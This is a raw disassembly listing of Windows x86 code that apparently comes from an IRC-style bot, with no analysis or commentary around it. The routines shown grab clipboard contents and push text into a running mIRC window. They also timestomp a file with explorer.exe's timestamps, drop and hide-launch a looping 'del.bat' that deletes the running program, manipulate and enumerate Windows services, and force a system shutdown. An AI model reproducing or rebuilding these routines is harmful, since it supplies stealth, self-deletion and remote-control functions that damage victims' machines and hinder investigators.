		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	loc_406763
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	loc_406763
		cmp	[ebp+arg_8], esi
		jz	loc_406763
		cmp	byte ptr [eax],	0
		jz	loc_406763
		push	ebx
		push	edi
		call	sub_41F567
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		jz	loc_40675E
		push	[ebp+arg_4]
		push	edi
		call	sub_4150B0
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_406757
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_414670
		mov	eax, ebx
		sub	eax, edi
		add	esp, 0Ch
		and	byte ptr [eax+esi], 0
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]


loc_4066F9:				; CODE XREF: sub_40668C+72j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4066F9
		sub	eax, ecx
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_4144B0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		lea	ecx, [eax+1]


loc_406715:				; CODE XREF: sub_40668C+8Ej
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_406715
		sub	eax, ecx
		add	eax, esi
		mov	esi, eax


loc_406722:				; CODE XREF: sub_40668C+9Bj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_406722
		mov	edi, ebx
		sub	eax, esi
		dec	edi


loc_40672E:				; CODE XREF: sub_40668C+A8j
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_40672E
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	esi, [ebp+arg_0]
		mov	edx, esi
		mov	eax, ebx
		sub	edx, ebx


loc_40674D:				; CODE XREF: sub_40668C+C9j
		mov	cl, [eax]
		mov	[edx+eax], cl
		inc	eax
		test	cl, cl
		jnz	short loc_40674D


loc_406757:				; CODE XREF: sub_40668C+50j
		push	ebx
		call	sub_414A14
		pop	ecx


loc_40675E:				; CODE XREF: sub_40668C+3Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_406765
; ---------------------------------------------------------------------------


loc_406763:				; CODE XREF: sub_40668C+Cj
					; sub_40668C+17j ...
		xor	eax, eax


loc_406765:				; CODE XREF: sub_40668C+D5j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40668C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406769	proc near		; CODE XREF: sub_40863D+C2p

var_7D0		= dword	ptr -7D0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	ecx, 1F4h
		lea	edi, [ebp+var_7D0]
		rep stosd
		mov	ecx, [ebp+arg_0]
		mov	eax, ecx
		lea	esi, [eax+1]


loc_40678C:				; CODE XREF: sub_406769+28j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40678C
		sub	eax, esi
		xor	ebx, ebx
		mov	edi, eax
		inc	ebx
		cmp	edi, ebx
		jge	short loc_4067A3
		or	eax, 0FFFFFFFFh
		jmp	short loc_406803
; ---------------------------------------------------------------------------


loc_4067A3:				; CODE XREF: sub_406769+33j
		xor	edx, edx
		test	edi, edi
		mov	[ebp+var_7D0], ecx
		jle	short loc_4067C3


loc_4067AF:				; CODE XREF: sub_406769+58j
		mov	al, [edx+ecx]
		cmp	al, 0Ah
		jz	short loc_4067BA
		cmp	al, 0Dh
		jnz	short loc_4067BE


loc_4067BA:				; CODE XREF: sub_406769+4Bj
		and	byte ptr [edx+ecx], 0


loc_4067BE:				; CODE XREF: sub_406769+4Fj
		inc	edx
		cmp	edx, edi
		jl	short loc_4067AF


loc_4067C3:				; CODE XREF: sub_406769+44j
		xor	esi, esi
		test	edi, edi
		jle	short loc_4067ED


loc_4067C9:				; CODE XREF: sub_406769+82j
		cmp	byte ptr [esi+ecx], 0
		jnz	short loc_4067E8
		lea	edx, [esi+ecx+1]
		cmp	byte ptr [edx],	0
		jz	short loc_4067E8
		cmp	ebx, 1F4h
		jge	short loc_4067ED
		mov	[ebp+ebx*4+var_7D0], edx
		inc	ebx


loc_4067E8:				; CODE XREF: sub_406769+64j
					; sub_406769+6Dj
		inc	esi
		cmp	esi, edi
		jl	short loc_4067C9


loc_4067ED:				; CODE XREF: sub_406769+5Ej
					; sub_406769+75j
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	short loc_406801
		mov	ecx, 1F4h
		lea	esi, [ebp+var_7D0]
		rep movsd


loc_406801:				; CODE XREF: sub_406769+89j
		mov	eax, ebx


loc_406803:				; CODE XREF: sub_406769+38j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406769	endp


; =============== S U B	R O U T	I N E =======================================



sub_406808	proc near		; CODE XREF: sub_406BB6+26p
					; sub_406BF3+79p

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_4155DC
		cmp	al, 61h
		pop	ecx
		jl	short loc_406823
		cmp	al, 7Ah
		jg	short loc_406823
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_406823:				; CODE XREF: sub_406808+Ej
					; sub_406808+12j
		xor	eax, eax
		retn
sub_406808	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406826	proc near		; CODE XREF: sub_408A18+2DCCp
					; sub_408A18+3960p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	0
		push	100h
		mov	esi, eax
		lea	eax, [ebp+var_100]
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	ds:dword_4200A8	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_40685F:				; CODE XREF: sub_406826+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_40686B
		cmp	cl, 9
		jnz	short loc_40686E


loc_40686B:				; CODE XREF: sub_406826+3Ej
		inc	eax
		jmp	short loc_40685F
; ---------------------------------------------------------------------------


loc_40686E:				; CODE XREF: sub_406826+43j
					; sub_406826+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_406888
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_40686E
		cmp	cl, 21h
		jl	short loc_40686E


loc_406888:				; CODE XREF: sub_406826+54j
		push	esi
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_0]
		mov	esi, offset dword_4359A8
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41483D
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_406826	endp


; =============== S U B	R O U T	I N E =======================================



sub_4068B0	proc near		; CODE XREF: sub_408A18+464Bp
		push	esi
		push	0
		call	dword_435794	; OpenClipboard
		test	eax, eax
		jz	short loc_4068E7
		push	1
		call	dword_435914	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_4068E7
		push	edi
		push	esi
		call	ds:dword_4200B0	; GlobalLock
		push	esi
		mov	edi, eax
		call	ds:dword_4200AC	; GlobalUnlock
		call	dword_435778	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4068E7:				; CODE XREF: sub_4068B0+Bj
					; sub_4068B0+19j
		xor	eax, eax
		pop	esi
		retn
sub_4068B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4068EB	proc near		; CODE XREF: sub_408A18+38C0p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		push	esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	edi
		call	dword_435840	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_406967
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	ds:dword_4200BC	; CreateFileMappingA
		push	esi
		push	esi
		push	esi
		mov	edi, eax
		push	0F001Fh
		push	edi
		call	ds:dword_4200B8	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_4145E5
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4358A8	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4358A8	; SendMessageA
		push	ebx
		call	ds:dword_4200B4	; UnmapViewOfFile
		push	edi
		call	ds:dword_42003C	; CloseHandle
		xor	eax, eax
		inc	eax
		pop	ebx
		jmp	short loc_406969
; ---------------------------------------------------------------------------


loc_406967:				; CODE XREF: sub_4068EB+16j
		xor	eax, eax


loc_406969:				; CODE XREF: sub_4068EB+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4068EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40696D	proc near		; CODE XREF: sub_40E745+21Ep

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	esi
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_11C]
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_435808	; SearchPathA
		test	eax, eax
		jz	short loc_406A0E
		push	ebx
		push	edi
		push	esi
		mov	edi, 80h
		push	edi
		push	3
		push	esi
		mov	esi, ds:dword_420044
		push	1
		push	80000000h
		lea	eax, [ebp+var_11C]
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_406A0C
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	ds:dword_4200C4	; GetFileTime
		push	ebx
		mov	ebx, ds:dword_42003C
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_406A0C
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_4200C0	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_406A0C:				; CODE XREF: sub_40696D+51j
					; sub_40696D+87j
		pop	edi
		pop	ebx


loc_406A0E:				; CODE XREF: sub_40696D+28j
		pop	esi
		leave
		retn
sub_40696D	endp


; =============== S U B	R O U T	I N E =======================================



sub_406A11	proc near		; CODE XREF: sub_408A18+11B6p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_40819B
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_435880	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_406A11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A33	proc near		; CODE XREF: sub_40260A+495p
					; sub_408A18+48FEp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	ebx
		xor	ebx, ebx
		cmp	dword_42BECC, ebx
		push	esi
		jz	short loc_406A57
		cmp	dword_435948, ebx
		jnz	short loc_406A57
		push	ebx
		call	sub_40213F
		pop	ecx


loc_406A57:				; CODE XREF: sub_406A33+13j
					; sub_406A33+1Bj
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	ds:dword_4200D0	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		push	ebx
		push	ebx
		push	2
		push	ebx
		push	ebx
		push	40000000h
		lea	eax, [ebp+var_260]
		push	eax
		call	ds:dword_420044	; CreateFileA
		mov	esi, eax
		cmp	esi, ebx
		jbe	loc_406BB2
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+var_764]
		add	esp, 0Ch
		lea	edx, [eax+1]


loc_406ACA:				; CODE XREF: sub_406A33+9Cj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_406ACA
		push	edi
		push	ebx
		lea	ecx, [ebp+var_4]
		push	ecx
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	esi
		call	ds:dword_420040	; WriteFile
		push	esi
		call	ds:dword_42003C	; CloseHandle
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		push	11h
		stosd
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_58]
		rep stosd
		mov	esi, 104h
		push	esi
		lea	eax, [ebp+var_15C]
		push	eax
		push	ebx
		mov	[ebp+var_4C], 420AEAh
		mov	[ebp+var_58], 44h
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], bx
		call	ds:dword_4200A4	; GetModuleHandleA
		push	eax
		call	ds:dword_420010	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	ds:dword_4200A0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		pop	edi
		jz	short loc_406B5B
		push	80h
		lea	eax, [ebp+var_15C]
		push	eax
		call	ds:dword_4200CC	; SetFileAttributesA


loc_406B5B:				; CODE XREF: sub_406A33+114j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_4145E5
		add	esp, 10h
		push	esi
		lea	eax, [ebp+var_364]
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	ds:dword_4200C8	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	ebx
		push	ebx
		push	4010h
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_364]
		push	eax
		push	ebx
		call	ds:dword_420038	; CreateProcessA


loc_406BB2:				; CODE XREF: sub_406A33+6Dj
		pop	esi
		pop	ebx
		leave
		retn
sub_406A33	endp


; =============== S U B	R O U T	I N E =======================================



sub_406BB6	proc near		; CODE XREF: sub_406BF3+41p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		rep stosd
		lea	edi, [eax-1]
		xor	esi, esi
		test	edi, edi
		jl	short loc_406BF0
		push	ebx
		mov	ebx, edi


loc_406BD3:				; CODE XREF: sub_406BB6+37j
		mov	eax, [esp+0Ch+arg_0]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_406808
		pop	ecx
		mov	ecx, [esp+0Ch+arg_8]
		inc	esi
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_406BD3
		pop	ebx


loc_406BF0:				; CODE XREF: sub_406BB6+18j
		pop	edi
		pop	esi
		retn
sub_406BB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406BF3	proc near		; CODE XREF: sub_401FDF+10p
					; sub_402011+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_414800
		mov	eax, [ebp+arg_0]
		lea	edx, [eax+1]


loc_406C06:				; CODE XREF: sub_406BF3+18j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_406C06
		sub	eax, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+1]


loc_406C18:				; CODE XREF: sub_406BF3+2Aj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_406C18
		push	ebx
		push	esi
		sub	eax, ecx
		mov	esi, eax
		push	edi
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_406BB6
		add	esp, 0Ch
		dec	esi
		mov	edi, esi
		jmp	short loc_406CB5
; ---------------------------------------------------------------------------


loc_406C41:				; CODE XREF: sub_406BF3+C4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_4155DC
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_4155DC
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_406CB3


loc_406C63:				; CODE XREF: sub_406BF3+BEj
		mov	ebx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edi+ebx]
		push	eax
		call	sub_406808
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_406C86
		mov	eax, ecx


loc_406C86:				; CODE XREF: sub_406BF3+8Fj
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_406CC3
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_4155DC
		movsx	ecx, byte ptr [edi+ebx]
		push	ecx
		mov	[ebp+var_8], eax
		call	sub_4155DC
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_406C63


loc_406CB3:				; CODE XREF: sub_406BF3+6Ej
		dec	edi
		dec	esi


loc_406CB5:				; CODE XREF: sub_406BF3+4Cj
		test	esi, esi
		jg	short loc_406C41
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_406CBE:				; CODE XREF: sub_406BF3+D2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_406CC3:				; CODE XREF: sub_406BF3+98j
		xor	eax, eax
		jmp	short loc_406CBE
sub_406BF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CC7	proc near		; CODE XREF: sub_4077A8+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		push	0F003Fh
		xor	ebx, ebx
		push	ebx
		push	ebx
		call	dword_4358A4	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_406CEE
		call	ds:dword_420008	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_406D63
; ---------------------------------------------------------------------------


loc_406CEE:				; CODE XREF: sub_406CC7+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_435920	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_406D0E
		call	ds:dword_420008	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_406D5B
; ---------------------------------------------------------------------------


loc_406D0E:				; CODE XREF: sub_406CC7+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_406D41
		cmp	eax, 3
		jz	short loc_406D32
		jle	short loc_406D54
		cmp	eax, 6
		jg	short loc_406D54
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4358C8	; ControlService
		jmp	short loc_406D48
; ---------------------------------------------------------------------------


loc_406D32:				; CODE XREF: sub_406CC7+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4358AC	; StartServiceA
		jmp	short loc_406D48
; ---------------------------------------------------------------------------


loc_406D41:				; CODE XREF: sub_406CC7+4Dj
		push	esi
		call	dword_4357DC	; DeleteService


loc_406D48:				; CODE XREF: sub_406CC7+69j
					; sub_406CC7+78j
		test	eax, eax
		jnz	short loc_406D54
		call	ds:dword_420008	; RtlGetLastWin32Error
		mov	ebx, eax


loc_406D54:				; CODE XREF: sub_406CC7+54j
					; sub_406CC7+59j ...
		push	esi
		call	dword_435818	; CloseServiceHandle


loc_406D5B:				; CODE XREF: sub_406CC7+45j
		push	edi
		call	dword_435818	; CloseServiceHandle
		pop	esi


loc_406D63:				; CODE XREF: sub_406CC7+25j
		pop	edi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_406CC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_406D69	proc near		; CODE XREF: sub_4077A8:loc_4077F0p
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_406E1A
		jz	loc_406E13
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_406DDD
		jz	short loc_406DD3
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_406DC9
		dec	ecx
		dec	ecx
		jz	short loc_406DBF
		dec	ecx
		jz	short loc_406DB5
		sub	ecx, 51h
		jz	short loc_406DAB
		sub	ecx, 24h
		jnz	loc_406E90	; default
					; jumptable 00406E37 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_406E82
; ---------------------------------------------------------------------------


loc_406DAB:				; CODE XREF: sub_406D69+2Dj
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_406E82
; ---------------------------------------------------------------------------


loc_406DB5:				; CODE XREF: sub_406D69+28j
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_406E82
; ---------------------------------------------------------------------------


loc_406DBF:				; CODE XREF: sub_406D69+25j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_406E82
; ---------------------------------------------------------------------------


loc_406DC9:				; CODE XREF: sub_406D69+21j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_406E82
; ---------------------------------------------------------------------------


loc_406DD3:				; CODE XREF: sub_406D69+1Aj
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_406E82
; ---------------------------------------------------------------------------


loc_406DDD:				; CODE XREF: sub_406D69+18j
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_406E0C
		dec	ecx
		jz	short loc_406E05
		dec	ecx
		jz	short loc_406DFE
		dec	ecx
		jnz	loc_406E90	; default
					; jumptable 00406E37 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_406E82
; ---------------------------------------------------------------------------


loc_406DFE:				; CODE XREF: sub_406D69+82j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_406E82
; ---------------------------------------------------------------------------


loc_406E05:				; CODE XREF: sub_406D69+7Fj
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_406E82
; ---------------------------------------------------------------------------


loc_406E0C:				; CODE XREF: sub_406D69+7Cj
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_406E82
; ---------------------------------------------------------------------------


loc_406E13:				; CODE XREF: sub_406D69+Dj
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_406E82
; ---------------------------------------------------------------------------


loc_406E1A:				; CODE XREF: sub_406D69+7j
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_406E90 ; default
					; jumptable 00406E37 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_406E7D
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_406E90 ; default
					; jumptable 00406E37 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, ds:byte_406ED1[ecx]
		jmp	ds:off_406EA9[ecx*4] ; switch jump


loc_406E3E:				; DATA XREF: .text:off_406EA9o
		push	offset aTheSpecifiedDa ; jumptable 00406E37 case 7
		jmp	short loc_406E82
; ---------------------------------------------------------------------------


loc_406E45:				; CODE XREF: sub_406D69+CEj
					; DATA XREF: .text:off_406EA9o
		push	offset aTheServiceDepe ; jumptable 00406E37 case 17
		jmp	short loc_406E82
; ---------------------------------------------------------------------------


loc_406E4C:				; CODE XREF: sub_406D69+CEj
					; DATA XREF: .text:off_406EA9o
		push	offset aTheServiceDe_0 ; jumptable 00406E37 case 10
		jmp	short loc_406E82
; ---------------------------------------------------------------------------


loc_406E53:				; CODE XREF: sub_406D69+CEj
					; DATA XREF: .text:off_406EA9o
		push	offset aTheServiceHasB ; jumptable 00406E37 case 0
		jmp	short loc_406E82
; ---------------------------------------------------------------------------


loc_406E5A:				; CODE XREF: sub_406D69+CEj
					; DATA XREF: .text:off_406EA9o
		push	offset aTheSpecified_0 ; jumptable 00406E37 case 2
		jmp	short loc_406E82
; ---------------------------------------------------------------------------


loc_406E61:				; CODE XREF: sub_406D69+CEj
					; DATA XREF: .text:off_406EA9o
		push	offset aTheServiceCoul ; jumptable 00406E37 case 11
		jmp	short loc_406E82
; ---------------------------------------------------------------------------


loc_406E68:				; CODE XREF: sub_406D69+CEj
					; DATA XREF: .text:off_406EA9o
		push	offset aTheServiceHa_0 ; jumptable 00406E37 case 14
		jmp	short loc_406E82
; ---------------------------------------------------------------------------


loc_406E6F:				; CODE XREF: sub_406D69+CEj
					; DATA XREF: .text:off_406EA9o
		push	offset aTheRequested_1 ; jumptable 00406E37 case 3
		jmp	short loc_406E82
; ---------------------------------------------------------------------------


loc_406E76:				; CODE XREF: sub_406D69+CEj
					; DATA XREF: .text:off_406EA9o
		push	offset aTheServiceHasN ; jumptable 00406E37 case 4
		jmp	short loc_406E82
; ---------------------------------------------------------------------------


loc_406E7D:				; CODE XREF: sub_406D69+BAj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_406E82:				; CODE XREF: sub_406D69+3Dj
					; sub_406D69+47j ...
		push	offset dword_435BA8
		call	sub_4145E5
		pop	ecx
		pop	ecx
		jmp	short loc_406EA3
; ---------------------------------------------------------------------------


loc_406E90:				; CODE XREF: sub_406D69+32j
					; sub_406D69+85j ...
		push	eax		; default
					; jumptable 00406E37 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset dword_435BA8
		call	sub_4145E5
		add	esp, 0Ch


loc_406EA3:				; CODE XREF: sub_406D69+125j
		mov	eax, offset dword_435BA8
		retn
sub_406D69	endp

; ---------------------------------------------------------------------------
off_406EA9	dd offset loc_406E53	; DATA XREF: sub_406D69+CEr
		dd offset loc_406E5A	; jump table for switch	statement
		dd offset loc_406E6F
		dd offset loc_406E76
		dd offset loc_406E3E
		dd offset loc_406E4C
		dd offset loc_406E61
		dd offset loc_406E68
		dd offset loc_406E45
		dd offset loc_406E90
byte_406ED1	db	0,     9,     1,     2 ; DATA XREF: sub_406D69+C7r
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406EE3	proc near		; CODE XREF: sub_408A18+1C52p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4358A4	; OpenSCManagerA
		push	ebx
		push	[ebp+arg_8]
		mov	[ebp+var_C], eax
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 14h


loc_406F1B:				; CODE XREF: sub_406EE3+123j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	168h
		lea	eax, [ebp+var_18C]
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4358B4	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_406F55
		call	ds:dword_420008	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_40700C


loc_406F55:				; CODE XREF: sub_406EE3+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_407003
		lea	esi, [ebp+var_188]


loc_406F66:				; CODE XREF: sub_406EE3+11Aj
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_406FB2
		dec	eax
		jz	short loc_406FAB
		dec	eax
		jz	short loc_406FA4
		dec	eax
		jz	short loc_406F9D
		dec	eax
